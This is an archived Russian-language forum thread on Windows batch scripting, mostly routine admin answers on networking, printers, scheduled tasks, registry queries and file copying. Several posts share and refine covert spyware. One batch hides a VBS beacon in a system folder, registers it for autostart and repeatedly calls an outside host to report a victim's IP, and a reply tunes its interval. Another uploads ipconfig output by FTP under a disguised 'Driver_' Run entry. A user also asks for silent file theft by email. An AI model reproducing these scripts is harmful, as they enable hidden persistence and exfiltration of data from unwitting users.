PDA

Просмотр полной версии : Автоматизация используя возможности командной строки Windows [BAT - файлы]


m-Xacker
11.11.2008, 16:56
Добрый день!
Кто может подсказать как с спомощью cmd можно сменить мак- адрес сетевой карты ?

И ещё неполучаеться выполнить вот такую команду , где то не так видимо написал , помогите поправить

netsh interface ip set address name=Lut-2 static 172.22.13.32 255.255.255.0 172.22.13.1

SpangeBoB
11.11.2008, 17:16
Добрый день!
Кто может подсказать как с спомощью cmd можно сменить мак- адрес сетевой карты ?

И ещё неполучаеться выполнить вот такую команду , где то не так видимо написал , помогите поправить
1)
netsh interface ip set address name="Lut-2" static 172.22.13.32 255.255.255.0 172.22.13.1

netsh interface ip set address Lut-2 static 172.22.13.32 255.255.255.0 172.22.13.1

2)reg /?

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}
выбираете нужный раздел где ваша сетевая.
добавить ключик NetworkAddress тип REG_SZ значение 00aaa000zzyy(изменить на свое)

net config rdr
посмотреть какие сетевые интрефейсы их MAC,GUID

gri.n
14.11.2008, 18:47
Привет Всем! У меня на тачке в инете поднят ftp сервер. Как с другой машины в инете, с помощью CMD, отправить файл на этот сервер ?

xcedz
14.11.2008, 19:36
http://support.microsoft.com/kb/96269/ru.

Проверил у меня работает на все 100%
создаем файлик бат
в нем пишем

@echo off
ftp -s:ftplogin.txt ftp.ru

сохраняем

далее в этом же каталоге создаем фалик

с названием FTPLOGIN.TXT

в нем пишем

логин
пароль
bin
cd /здесь указываем путь куда нужно положить файл
put какойто фал.txt
bye


какойто фал.txt должен лежать в том же каталоге.

запускаем батник и ахтунг! :D

Shaper
17.11.2008, 02:05
При переводе пользователей с одного win-домена в другой появляется проблема: сетевые принтеры не ставятся для пользователя по умолчанию и приходится каждому пользователю прописывать этот принтер. Неудобно, правда?
Мелкомягкие предлагают 14 пунктов (http://support.microsoft.com/kb/307016/ru#top) решения этой проблемы. Тоже геморно так как долго, а это лениво, а мы так не любим ):
Вот батничек, с кодовым названием "всё по умолчанию" :)
С помощью которого можно установить принтер по умолчанию для пользователя по умолчанию или для уже существующих пользователей.

@ECHO OFF
IF "%~1"=="" GOTO Undefined

:Defined
echo Обновляем существующие учётки...
reg load HKU\TempHive .\ntuser.dat
reg export "HKU\TempHive\Printers" .\printers.reg
reg export "HKU\TempHive\Software\Microsoft\Office\12.0\Excel\ Options" .\excel.reg
reg export "HKU\TempHive\Software\Microsoft\Office\12.0\Word\O ptions" .\word.reg
reg export "HKU\TempHive\Software\Microsoft\Internet Explorer\Main" .\ie.reg
reg unload HKU\TempHive
FOR %%A IN (%*) DO (
IF EXIST "%SystemDrive%\Documents and Settings\%%A\ntuser.dat" (
reg load HKU\TempHive "%SystemDrive%\Documents and Settings\%%A\ntuser.dat"
reg import .\printers.reg
reg import .\excel.reg
reg import .\word.reg
reg import .\ie.reg
reg unload HKU\TempHive
)
del /Q .\printers.reg
del /Q .\excel.reg
del /Q .\word.reg
del /Q .\ie.reg
)
GOTO Final

:Undefined
echo Обновляем профиль "по умолчанию"...
IF EXIST .\ntuser.dat (
reg load HKU\TempHive .\ntuser.dat
reg export "HKU\TempHive\Printers" .\printers.reg
reg export "HKU\TempHive\Software\Microsoft\Office\12.0\Excel\ Options" .\excel.reg
reg export "HKU\TempHive\Software\Microsoft\Office\12.0\Word\O ptions" .\word.reg
reg export "HKU\TempHive\Software\Microsoft\Internet Explorer\Main" .\ie.reg
reg unload HKU\TempHive
reg load HKU\TempHive "%SystemDrive%\Documents and Settings\Default User\ntuser.dat"
reg import .\printers.reg
reg import .\excel.reg
reg import .\word.reg
reg import .\ie.reg
reg unload HKU\TempHive
del /Q .\printers.reg
del /Q .\excel.reg
del /Q .\word.reg
del /Q .\ie.reg
GOTO Final
)

:Final
COLOR 0A
echo Complete :)
COLOR
pause

Заходим под рутом, запускаем этот батник в профиле пользователя (%SystemDrive%\Documents and Settings\%username%), с настроенным принтером, IE, Word'ом и Excel'ем. Это мы делаем сохранение по умолчанию в формат 2003 офиса.
При запуске без параметров, настройки копируются в профиль по умолчанию и все последующие регистрирующиеся пользователи уже будут иметь нужные настройки принтера и перечисленного софта. Если в параметрах указать имена уже существующих учёток, то эти настройки будут прописаны для них.

by ←

xcedz
18.11.2008, 23:13
Проверил у меня работает на все 100%
создаем файлик бат
в нем пишем

@echo off
ftp -s:ftplogin.txt ftp.ru

сохраняем

далее в этом же каталоге создаем фалик

с названием FTPLOGIN.TXT

в нем пишем

логин
пароль
bin
cd /здесь указываем путь куда нужно положить файл
put какойто фал.txt
bye


какойто фал.txt должен лежать в том же каталоге.

запускаем батник и ахтунг! :D

clin
20.11.2008, 16:44
Подскажите, как сделать дефрагментацию по расписанию с помощью батника?

SpangeBoB
20.11.2008, 17:06
На ежемесячный запуск (каждое первое число месяца) 1 раз запустить
@echo off
schtasks /create /tn "Defrag" /tr "defrag c: /f" /sc MONTHLY /ru "SYSTEM"

clin
20.11.2008, 17:41
А на кажду неделю?

@echo off
schtasks /create /tn "Defrag" /tr "defrag c: /f" /sc WEEKLY /ru "SYSTEM"

Так? А как добавить d:/ добавить?

SpangeBoB
20.11.2008, 17:54
Примерно так
прописываем строку через cmd
schtasks /create /tn "Defrag" /tr "c:\script.bat" /sc WEEKLY /ru "SYSTEM"

Это добавить в файл c:\script.bat
@echo off
defrag c: /f >> c:\result.txt 2>&1
defrag d: /f >> c:\result.txt 2>&1

clin
20.11.2008, 18:07
script.bat такого содержания

@echo off
defrag c: /f >> c:\result.txt 2>&1
defrag d: /f >> с:\result.txt 2>&1

да?

schtasks /create /tn "Defrag" /tr "c:\script.bat" /sc WEEKLY /ru "SYSTEM"
а это просто в консоле прописать?

SpangeBoB
20.11.2008, 18:10
именно так

clin
19.12.2008, 17:43
Shaper, а как сделать, чтобы сразу или через 1 сек загружался твой фар?

SpangeBoB
19.12.2008, 17:46
Лучше использовать psexec который во много раз удобнее.

psexec -i -s path_to_far

clin
19.12.2008, 18:05
psexec -i -s C:\Program Files\Far\Far.exe
Так?

SpangeBoB
19.12.2008, 18:07
psexec -i -s "C:\Program Files\Far\Far.exe"

Winst0n
25.02.2009, 12:57
как батником выключить определенную программу ? ну или перезагрузить ?

SpangeBoB
25.02.2009, 17:53
как батником выключить определенную программу ? ну или перезагрузить ?
tasklist смотрите имя или pid процесса и завершаете taskkill /IM cmd.exe
taskkill /PID 7777

А перезапустить можно указав путь программы или использовать start.

velikijmerlin
12.04.2009, 16:37
хм... всем доброго времени суток, возникла нужда в написании батника, который мог бы отправлять на почту ИП адрес компа где находиться бат файл, как это можно организовать, заранее спасибо)

SpangeBoB
12.04.2009, 16:55
Как отправить информация через bat читаем сдесь https://forum.antichat.net/thread84364.html .

Как получить путь откуда запускается bat скрипт:
echo %~f0

velikijmerlin
12.04.2009, 19:37
большое спасибо за помощь..)))

ronald
01.08.2009, 17:12
Хотелось бы узнать следующее:
Как просмотреть все принтеры в локальной сети и подключить нужный средством bat?

SpangeBoB
01.08.2009, 17:31
Хотелось бы узнать следующее:
Как просмотреть все принтеры в локальной сети и подключить нужный средством bat?
Написать скрипт на bat который пройдет по всем компьютерам с принтерами и сделать список.

net view prncmp | find /i "print" >> result.xt

Или сделать через powershell,так же пишется скрипт,который работает через WMI:

gwmi win32_printer -filter "Shared='$true'" -computername xxxx | ft name,servername >> result.txt

Через bat подключить можно:

1)Устанавливает принтер
rundll32 printui.dll,PrintUIEntry /in /q /n\\servername\printername
2)Делает его по умолчанию
rundll32 printui.dll,PrintUIEntry /y /n\\servername\printername

velikijmerlin
07.08.2009, 23:33
доброе время суток, решил вот написать кое чего очень полезного)))
делаю вобщем из Делфи.... но чтобы в итоге получались батники....

крч, смысл вопроса, надо добавить батник в автозагрузку, не подскажите как это можно сделать?(ОС ХР)

вот это не работает(((
@echo off
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]
"Driver_"="%windir%\Cursors\ test.bat-LM"

кто может помогите....

SpangeBoB
07.08.2009, 23:41
доброе время суток, решил вот написать кое чего очень полезного)))
делаю вобщем из Делфи.... но чтобы в итоге получались батники....

крч, смысл вопроса, надо добавить батник в автозагрузку, не подскажите как это можно сделать?(ОС ХР)

вот это не работает(((
@echo off
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]
"Driver_"="%windir%\Cursors\ test.bat-LM"

кто может помогите....
команда reg /?

velikijmerlin
08.08.2009, 10:08
вот попытался скопировать батник в папку автозагрузки, а он пишет что низзя...(((

http://s42.radikal.ru/i098/0908/f6/aaf3678bc483t.jpg (http://radikal.ru/F/s42.radikal.ru/i098/0908/f6/aaf3678bc483.jpg.html)

SpangeBoB
08.08.2009, 13:00
Путь надо в "" заключить.

vilfenix
11.08.2009, 10:54
Есть батник:

chcp 1251
MD "%SystemRoot%\123123\"
attrib "%SystemRoot%\123123" +h +s
echo Set oHTTP = WScript.CreateObject("winhttp.winhttprequest.5.1") > "%SystemRoot%\123123\123.vbs"
echo iPeriod = 666 >> "%SystemRoot%\123123\123.vbs"
echo sSource = "http://wilssurik.h17.ru/ip/mail.php" >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo While 1 >> "%SystemRoot%\123123\123.vbs"
echo WScript.Sleep 1000 >> "%SystemRoot%\123123\123.vbs"
echo If (Timer - iTimer) * 777 Then >> "%SystemRoot%\123123\123.vbs"
echo oHTTP.open "GET", sSource, False >> "%SystemRoot%\123123\123.vbs"
echo on error resume next >> "%SystemRoot%\123123\123.vbs"
echo oHTTP.send >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo End If >> "%SystemRoot%\123123\123.vbs"
echo WEnd >> "%SystemRoot%\123123\123.vbs"
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run" /v 123 /t REG_SZ /d %SystemRoot%\123123\123.vbs /f
start "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\123" %SystemRoot%\123123\123.vbs
pause

Задача этого батника присылать чужой IP на мыло. Он это делает каждую секунду, а мне нада чтоб хотябы каждые пять минут, ПОМОГИТЕ плиз, что там нада поменять?

SpangeBoB
11.08.2009, 12:07
WScript.Sleep 300000

velikijmerlin
15.08.2009, 00:10
боольшой батник очень...


@echo off
ipconfig /all >> %date%_ip.txt
echo open "your ftp accaunt">go&&echo "ftp user_name">>go&&echo "ftp_password">>go&&echo bin>>go&&echo pushd %date%_ip.txt>>go&&echo bye>>go
ftp -s:go
del go
del /y %date%_ip.txt


вот этот делает тоже самое....
только более короткий...
но он делает это один раз.... чтобы делал допустим при каждом старте системы, просто кинуть в атозагрузку надо....

SpangeBoB
15.08.2009, 00:55
боольшой батник очень...


@echo off
ipconfig /all >> %date%_ip.txt
echo open "your ftp accaunt">go&&echo "ftp user_name">>go&&echo "ftp_password">>go&&echo bin>>go&&echo pushd %date%_ip.txt>>go&&echo bye>>go
ftp -s:go
del go
del /y %date%_ip.txt


вот этот делает тоже самое....
только более короткий...
но он делает это один раз.... чтобы делал допустим при каждом старте системы, просто кинуть в атозагрузку надо....
Больше не выкладывайте подобные скрипты в разделе для администратора.

velikijmerlin
15.08.2009, 10:01
эммм....
в смысле?)))
что то не правильно?))) или просто раздел не тот?)))

Nobody4alj
21.08.2009, 12:44
доброе время суток, решил вот написать кое чего очень полезного)))
делаю вобщем из Делфи.... но чтобы в итоге получались батники....

крч, смысл вопроса, надо добавить батник в автозагрузку, не подскажите как это можно сделать?(ОС ХР)

вот это не работает(((
@echo off
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]
"Driver_"="%windir%\Cursors\ test.bat-LM"

кто может помогите....

этот сурс ты через батч пускаеш? ) в *.reg файл это "кроме @echo off" и запускай

tekton
08.11.2009, 04:45
Привет всем! :)

Есть задача:

найти на компе определёный файл, и отправить его на почту.
При этом, сделать это без участия пользоавтеля.
Я имею в виду, чтоб запустил один раз и всё. Чтоб батник всё сделал сам без лишних вопросов.

SpangeBoB
08.11.2009, 13:24
Привет всем! :)

Есть задача:

найти на компе определёный файл, и отправить его на почту.
При этом, сделать это без участия пользоавтеля.
Я имею в виду, чтоб запустил один раз и всё. Чтоб батник всё сделал сам без лишних вопросов.
https://forum.antichat.ru/thread84364.html
https://forum.antichat.ru/thread83653.html

tekton
15.11.2009, 21:26
Привет всем!
Такая проблемка :

Есть игра, есть ролик к ней, и патч.

Делаю так, прописываю в авторане вместо setap.ехе setap.bat
в батнике пишу
color c
pleer1.exe stk_cop_950x536_rus.avi
STALK.jpg ; Если можно так сделать чтоб картинка повисела секунд 10-15 посеридине монитора а потом закрылась
start pleer2.exe 384_DJRAmix.mp3 ; музычка чтоб весеелее шла установка :)
setap.exe ; установка дистрибутива

А дальше нужно создать переменную чтоб Bat после установки проги нашёл файл и сделал
ren xrEngine.exe xrEngine.exe.BAK ; бекап
del /y xrEngine.exe ; удаление без запросов
copy с CD пропатченного файлика xrEngine.exe в нужную дерикторию
EXIT

Вот путь к папке в которой сейчас файлик xrEngine.exe лежит
F:\Program Files\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin
Пробовал делать типа
%ProgramFiles%\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin
Но чет не работает :(
Помогите прописать переменные ! ;)

SpangeBoB
15.11.2009, 21:33
"F:\Program Files\GSC World Publishing\S.T.A.L.K.E.R. - Зов Припяти\bin"

tekton
15.11.2009, 21:56
SpangeBoB спасибо конечно!
Но ты не понял что я хочу.

Вот например в Dup2 если надо пропатчить прогу, но не знаешь на каком диске она установлена пишем переменную типа %ProgramFiles% ну и так далее

Если прога установленва не на C: а на D:
патч и там найдёт нужный файл.

Вот я хочу добиться такого же эфекта только чтоб прога патчилась автоматом через Bat ник и с CD :)

SpangeBoB
15.11.2009, 22:33
SpangeBoB спасибо конечно!
Но ты не понял что я хочу.

Вот например в Dup2 если надо пропатчить прогу, но не знаешь на каком диске она установлена пишем переменную типа %ProgramFiles% ну и так далее

Если прога установленва не на C: а на D:
патч и там найдёт нужный файл.

Вот я хочу добиться такого же эфекта только чтоб прога патчилась автоматом через Bat ник и с CD :)
Выдираете с помощью reg из реестра по адресу и отфильтровываете по нужной программе:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Uninstall (ключ InstallLocation)

И через цикл for подставить значение.Если программа ставиться через MSI,то выдернуть можно через.

wmic product ( нужное свойство посмотреть здесь http://msdn.microsoft.com/en-us/library/aa394378(VS.85).aspx)

PS.Хотя можно не чего и не отфильтровывать посмотреть у себя какой ключ создается в реестре и сразу же запросить параметр InstallLocation.

Может кому на будущее пригодится скрипт:
@echo off
for /F "tokens=3*" %%i in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Uninstall\Bullzip PDF Printer_is1" /t REG_SZ /v InstallLocation ^| findstr "InstallLocation"') do (
for /F "delims=," %%x in ('echo %%i %%j') do cd "%%x")

tekton
16.11.2009, 22:19
Спасибо!!!

Следующий вопрос:
как создать переменную чтоб в неё заносилась буква флешки или CD ?

Надо выполнить запуск ролика с CD через коммандную строку

Чтоб типа такого было
Start mplayer2.exe %переменная содержащая букву CD%\Video\Rolik.avi

И попутный вопрос выплывающий из этого:
Как определить какому диску буква пренадлежит ? CD или Flesh ?

И второй вопрос:
можно ли заменить файл не зная на каком он диске находится?
Ну сделать типа поиска по названию файла по всем дискам, а потом создать переменную в которую будет записываться путь до файла ?

И ещё:
Можно ли минимизировать bat файл в трей? И какими коммандами это делается?


Заранее спасибо !!!

SpangeBoB
16.11.2009, 22:45
Спасибо!!!

Следующий вопрос:
как создать переменную чтоб в неё заносилась буква флешки или CD ?

Надо выполнить запуск ролика с CD через коммандную строку

Чтоб типа такого было
Start mplayer2.exe %переменная содержащая букву CD%\Video\Rolik.avi

И попутный вопрос выплывающий из этого:
Как определить какому диску буква пренадлежит ? CD или Flesh ?

И второй вопрос:
можно ли заменить файл не зная на каком он диске находится?
Ну сделать типа поиска по названию файла по всем дискам, а потом создать переменную в которую будет записываться путь до файла ?

Заранее спасибо !!!
Если bat файл запускается с фэлш или cd то можно использовать
%~d0\ - expands %I to a drive letter only
Если надо через бат узнать,то тут уже сложнее гораздо.Тут надо использовать WMI.Это сами мучайте классы Win32_DriskDriver,WIn32_Volume

Поиск по дискам можно осуществить через for ,dir /s и фильтровать по имени файла через findstr.Небольшой пример:
for /F %i in ('dir C:\ /S /B ^| findstr "\<win.ini\>"') do echo %~fi

Для определения подключенных flash можно попробовать
wmic path win32_logicaldisk where (DriveType="2" and Description='Removable Disk' AND Size!="0") get name | findstr ":"
Для CDROm посмотреть http://msdn.microsoft.com/en-us/library/aa394173(VS.85).aspx

tekton
18.11.2009, 01:43
И ещё:
Можно ли минимизировать bat файл в трей? И какими коммандами это делается?


Заранее спасибо !!!



В принципе один приятель предложил такой вариант с двумя батниками:

первый start.bat :
%comspec% /c start /min Untitled.bat

Второй Untitled.bat :
mplayerc.exe /fullscreen %~d0\vid\stk_cop_950x536_rus.avi
EXIT

А может всётаки можно одним батом обойтись ??? ;)

SpangeBoB
18.11.2009, 02:20
В принципе один приятель предложил такой вариант с двумя батниками:

первый start.bat :
%comspec% /c start /min Untitled.bat

Второй Untitled.bat :
mplayerc.exe /fullscreen %~d0\vid\stk_cop_950x536_rus.avi
EXIT

А может всётаки можно одним батом обойтись ??? ;)
Нет.

Хотя как вариант если воспользоваться http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html ,то есть ключик Invisible.

Kamik
15.03.2010, 07:27
Какой коммандой в cmd.exe поменять владельца папки.
Возможно ли поменять владельца на несуществующую учетную запись. (например чтонить из серии "0-kjhskh-000lkaj-0")
Необходима для написания программы-аналога anti-autorun.
Первому кто поможет - первый экземпляр программы бесплатно! :') И без промедлений

SpangeBoB
15.03.2010, 12:10
Какой коммандой в cmd.exe поменять владельца папки.
Возможно ли поменять владельца на несуществующую учетную запись. (например чтонить из серии "0-kjhskh-000lkaj-0")
Необходима для написания программы-аналога anti-autorun.
Первому кто поможет - первый экземпляр программы бесплатно! :') И без промедлений
takeown, icacls /setowner,SUBINACL

Gray_Wolf
24.05.2010, 10:44
В БАТнике нужно экспортировать определённый сертификат в определённую папку.
Как это можно сделать?

SpangeBoB
24.05.2010, 11:22
В БАТнике нужно экспортировать определённый сертификат в определённую папку.
Как это можно сделать?
Batch принципиален или решения с Powershell подойдет?
Для Batch использовать утилиту certutil.

Gray_Wolf
24.05.2010, 12:07
Batch принципиален или решения с Powershell подойдет?
Для Batch использовать утилиту certutil.
Требуется решение которое без установки доп. программ сможет это сделать.
Везде стоит XP Pro и не Powershell не certutil там нету...

Впринципе можно использовать любую утилиту работающую без установки(которую можно положить рядом с батником) (certutil так работать отказался)

SpangeBoB
24.05.2010, 13:55
Требуется решение которое без установки доп. программ сможет это сделать.
Везде стоит XP Pro и не Powershell не certutil там нету...

Впринципе можно использовать любую утилиту работающую без установки(которую можно положить рядом с батником) (certutil так работать отказался)
Certutil работает без установки,только кроме .exe требуются dll ,которые идут с ней.

Скачать:
http://www.microsoft.com/downloads/details.aspx?familyid=86B71A4F-4122-44AF-BE79-3F101E533D95&displaylang=en

Распаковать в папку и вынуть все требуемые dll.

DonKihot
02.06.2010, 07:07
Помогите, нужен batник постоянного копирования папки из одной директории в другую.

Чтобы запустил его и происходило постоянное копирование.

SpangeBoB
02.06.2010, 09:16
Помогите, нужен batник постоянного копирования папки из одной директории в другую.

Чтобы запустил его и происходило постоянное копирование.
Создать бесконечный цикл с помощью For и командой копирования copy,xcopy,robocopy на выбор.